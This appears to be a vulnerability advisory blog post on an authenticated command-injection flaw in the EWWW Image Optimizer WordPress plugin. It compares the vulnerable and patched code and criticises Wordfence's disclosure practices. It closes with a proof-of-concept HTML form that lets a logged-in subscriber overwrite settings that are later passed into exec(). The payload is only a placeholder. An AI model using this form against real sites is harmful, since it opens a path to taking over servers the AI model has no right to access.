Protecting You Against Wordfence’s Bad Practices: Authenticated Remote Code Execution (RCE) Vulnerability in EWWW Image Optimizer
Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.
Wordfence describes the vulnerability in EWWW Image Optimizer version 2.8.3 as a “Remote Command Execution vulnerability which an attacker can exploit on multisite WordPress installations to gain complete control of a WordPress site”.
The first relevant changes in the next version was to restrict changing settings on multisite based website to those who can “manage_option” and are sending an appropriate nonce.
Here is the code in 2.8.3:
56 57 58 | if ( is_multisite() && is_plugin_active_for_network( EWWW_IMAGE_OPTIMIZER_PLUGIN_FILE_REL ) ) { // set the binary-specific network settings if they have been POSTed if ( isset( $_POST['ewww_image_optimizer_delay'] ) ) { |
And the code in 2.8.4:
56 57 58 | if ( is_multisite() && is_plugin_active_for_network( EWWW_IMAGE_OPTIMIZER_PLUGIN_FILE_REL ) ) { // set the binary-specific network settings if they have been POSTed if ( isset( $_POST['ewww_image_optimizer_delay'] ) && current_user_can( 'manage_options' ) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'ewww_image_optimizer_options-options' ) ) { |
For a couple of the settings that then could be updated by users that were intended to be able to do so, the code now make sure only integers (ints) can be their value.
Here is the code in 2.8.3:
63 64 | update_site_option( 'ewww_image_optimizer_optipng_level', $_POST['ewww_image_optimizer_optipng_level'] ); update_site_option( 'ewww_image_optimizer_pngout_level', $_POST['ewww_image_optimizer_pngout_level'] ); |
And the code in 2.8.4:
65 66 | update_site_option( 'ewww_image_optimizer_optipng_level', (int) $_POST['ewww_image_optimizer_optipng_level'] ); update_site_option( 'ewww_image_optimizer_pngout_level', (int) $_POST['ewww_image_optimizer_pngout_level'] ); |
Finally we get to where the remote code execution would occur. The value of those previously mentioned settings are used in several exec() functions in the plugin. One example is below.
Here is the code in 2.8.3:
1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 | // retrieve the optipng optimization level $optipng_level = ewww_image_optimizer_get_option('ewww_image_optimizer_optipng_level'); if (ewww_image_optimizer_get_option( 'ewww_image_optimizer_jpegtran_copy' ) && preg_match( '/0.7/', ewww_image_optimizer_tool_found( $tools['OPTIPNG'], 'o' ) ) && ! $keep_metadata ) { $strip = '-strip all '; } else { $strip = ''; } // if the PNG file was created if ( file_exists( $pngfile ) ) { ewwwio_debug_message( 'optimizing converted PNG with optipng' ); // run optipng on the new PNG exec( "$nice " . $tools['OPTIPNG'] . " -o$optipng_level -quiet $strip " . ewww_image_optimizer_escapeshellarg( $pngfile ) ); |
And the code in 2.8.4
1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 | // retrieve the optipng optimization level $optipng_level = (int) ewww_image_optimizer_get_option('ewww_image_optimizer_optipng_level'); if (ewww_image_optimizer_get_option( 'ewww_image_optimizer_jpegtran_copy' ) && preg_match( '/0.7/', ewww_image_optimizer_tool_found( $tools['OPTIPNG'], 'o' ) ) && ! $keep_metadata ) { $strip = '-strip all '; } else { $strip = ''; } // if the PNG file was created if ( file_exists( $pngfile ) ) { ewwwio_debug_message( 'optimizing converted PNG with optipng' ); // run optipng on the new PNG exec( "$nice " . $tools['OPTIPNG'] . " -o$optipng_level -quiet $strip " . ewww_image_optimizer_escapeshellarg( $pngfile ) ); |
As in the previous posts in this series, Wordfence excluded the important fact that the attacker needs to be logged in to WordPress to exploit this, which limits the severity of the vulnerability. It also looks like the remote code execution can only occur if a PNG file is run through the plugin’s optimization function.
Proof of Concept
The following proof of concept will change the value of the settings ewww_image_optimizer_optipng_level and ewww_image_optimizer_pngout_level to “malicious code”, which can be confirmed in the wp_sitemeta table of the website’s database.
Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress
<html> <body> <form action="http://[path to WordPress]/wp-admin/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ewww_image_optimizer_delay" value="add_new_album" /> <input type="hidden" name="ewww_image_optimizer_optipng_level" value="malicious code" /> <input type="hidden" name="ewww_image_optimizer_pngout_level" value="malicious code" /> <input type="submit" value="Submit" /> </form> </body> </html>